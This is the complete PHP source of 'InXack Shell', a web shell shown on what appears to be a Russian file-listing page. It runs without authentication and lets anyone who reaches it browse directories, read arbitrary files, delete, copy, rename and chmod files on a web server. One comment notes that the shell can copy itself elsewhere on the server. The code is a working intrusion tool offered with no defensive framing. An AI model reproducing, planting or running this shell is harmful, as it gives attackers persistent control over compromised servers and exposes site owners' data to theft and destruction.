Просмотр файла ixshell.php

Размер файла: 3.82Kb
<?
/* InXack Shell 1.ver
   http://inxack.ru
   Author: Egor Smolyakov (EuroDesign aka iNeeXT)
*/
echo '<title>InXack Shell 0.1</title><style type="text/css">body 
{ font-family: Tahoma; max-width:420px; margin: auto; font-size:13px; color: 
#fff; background-color: #717171; #505050;} a:link { text-decoration: underline;
 color : #eee;} a:visited { text-decoration: none; color : #e0e0e0;} .sec { 
text-align: left; color: #b0b0b0; margin: 1px; border: 1 solid; 
background-color: #5c5c5c;} input,select,textarea{ color: #ffffff; margin: 1px;
 border: 1px solid #505050; background-color: #5c5c5c;</style>';
 echo '<div class="sec"><center>- [ <a href="http://inxack.ru">InXack Shell</a> ] -</center></div>';
$act = isset($_GET['act']) ? $_GET['act'] : '';
switch($act)
{
	default:
$die = @$_GET['d'];
echo '<div class="sec"><a href="?d=../'.$die.'">Вверх [../UPWARDS]</a></a><br /><u>FILE LIST</u></div>';
$d=opendir($die);
while($f=@readdir($d))
{
echo'<div class="sec"><a href="?act=file&amp;file='.$die.'/'.$f.'">'.$f.'</a>[<a href="?act=del&amp;file='.$f.'"><font color=red>DEL</font></a>][<a href="?act=copy&amp;file='.$f.'"><font color=blue>COPY</font></a>][<a href="?act=text&amp;file='.$f.'"><font color=lime>TEXT</font></a>][<a href="?act=chmod&amp;file='.$f.'"><font color=black>CHMOD</font></a>][<a href="?act=rename&amp;file='.$f.'"><font color=#A17FFF>RENAME</font></a>]<br/></div>';
}
@closedir($d);
	break;
	case 'file':
 $file=@(htmlspecialchars($_GET['file']));
$file=@file($file);
for($i=0;$i<count($file);$i++) {
if ($i=='0') {
$code=$file[$i];
} else {
$code.=''.$file[$i];
}}
echo '<div style="
border-bottom: 1px solid #557898;
border-left: 1px solid #557898;
border-right: 1px solid #557898;
background-color:#fff;
padding-top: 4px;
padding-left: 4px;
padding-bottom: 4px;
border:1px solid #ccc;
">
'.highlight_string($code,true).'<br />';
echo'</div>';
	break;
	case 'text':
 $file=@(htmlspecialchars($_GET['file']));
$file=@file($file);
for($i=0;$i<count($file);$i++) {
if ($i=='0') {
$code=$file[$i];
} else {
$code.=''.$file[$i];
}}
echo '<textarea type="text" cols="50" rows="50">
'.htmlspecialchars($code).'</textarea>';
echo'</div>';
	break;
	case 'del':
 $file=@(htmlspecialchars($_GET['file']));
@unlink($file);
echo 'Удалено';
	break;
	case 'chmod':
	 $file=@(htmlspecialchars($_GET['file']));
	echo'!!!ПРИ УСТАНОВКЕ ЧМОДОВ ДЕЛАЙТЕ 770 ЧТОБ МОЖНО БЫЛО ФАЙЛ УДАЛИТЬ!!!<br/><form class="sec" action="" method="post">Файл:<br/><input type="text" name="ff" value="'.$file.'"><br/>CHMOD:<br/><input type="number" name="chmo"><br/><input type="submit" value="Установить">';
if(isset($_POST['chmo']) && !empty($_POST['chmo']) && !empty($_POST['ff'])){
@chmod($_POST['ff'], $_POST['chmo']);
echo '<br/>Есть';
}else{echo'<br/>Установите чмод';}
	break;
	case 'copy':
	 $file=@(htmlspecialchars($_GET['file']));
	echo'Можно копировать и шелл!<form class="sec" action="" method="post">Файл:<br/><input type="text" name="fi" value="'.$file.'"><br/>Куда + название:<br/><input type="text" name="dirr" value="'.$file.'"><br/><input type="submit" value="Копировать">';
if(isset($_POST['fi']) && !empty($_POST['fi']) && !empty($_POST['dirr'])){
$fi = $_POST['fi'];
$dirr = $_POST['dirr'];
if (@copy($fi,$dirr))
{
echo'<div class="sec">Копнули</div>';
} else {
echo 'Ошибка!';
}}
	break;
	case 'rename':
	 $file=@(htmlspecialchars($_GET['file']));
	echo'<form class="sec" action="" method="post">Имя:<br/><input type="text" name="fi" value="'.$file.'"><br/><input type="submit" value="Изменить">';
if(isset($_POST['fi']) && !empty($_POST['fi'])){
$fi = $_POST['fi'];
if (@rename($file,$fi))
{
echo'<div class="sec">Изменено</div>';
} else {
echo 'Ошибка!';
}}
	break;
  }
 echo '<div class="sec"><center>&copy; Powered by &laquo;<a href="http://inxack.ru">InXack</a>&raquo;</center></div>';
?>